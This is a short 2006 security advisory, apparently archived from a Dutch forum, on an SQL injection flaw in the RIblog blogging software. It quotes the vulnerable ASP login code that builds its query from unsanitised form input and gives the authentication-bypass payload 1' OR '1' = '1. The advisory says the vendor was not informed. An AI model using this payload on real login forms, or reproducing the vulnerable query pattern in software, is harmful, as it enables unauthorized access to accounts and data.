PDA

Bekijk Volledige Versie : RIblog Remote SQL Injection Exploit



omnipresent@email.it
24/04/06, 18:40
------------------------------------------------------------------
- RIblog Remote SQL Injection Exploit -
-= http://colander.altervista.org/advisory/riblog.txt =-
------------------------------------------------------------------

-= RIblog =-



Omnipresent
April 21, 2006


Vunerability(s):
----------------
SQL Injection


Product:
--------
bloggage

Vendor:
--------
http://romedahl.com


Description of product:
-----------------------

It is a Blog.

Not Available Yet.


Vulnerability / Exploit:
------------------------

This software is vulnerable to a Remote SQL Injection.

Take a look of this script in

[...]

doLogin = Request.Form("login") 'login


If doLogin = "" Then

Trim(Request.Form("login"))

End If

' Submit to self
If doLogin = "true" Then


If sUserName = "" Then
sUserName = Trim(Request.Form("UserName"))
End If

If sPassword = "" Then
sPassword = Trim(Request.Form("Password"))
End If


Set myRecSet = server.createobject("adodb.recordset")
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & ";"
Set myConn = server.createobject("adodb.connection")
myConn.open strConn

strSQL = "SELECT * FROM tUser WHERE fuser = '"& sUserName &"' and fpassword = '" & sPassword &"';"


[...]

As you can see, the string strSQL is the query passed to the DB. And the variables sUserName and sPassword are not properly
sanitised. So, an attacker can exploit this vulnerability by injection SQL Code. Like the example below:

1' OR '1' = '1

The attacker have to put the string above in the username and password fields.


the query will be:

strSQL = "SELECT * FROM tUser WHERE fuser = '1' OR '1' ='1' and fpassword = '1' OR '1' ='1';

The attacker can gain access to the blog and edit, view comments, etc, etc.


Vendor Status
-------------

Not informed!

Credits:
--------
omnipresent
omnipresent@email.it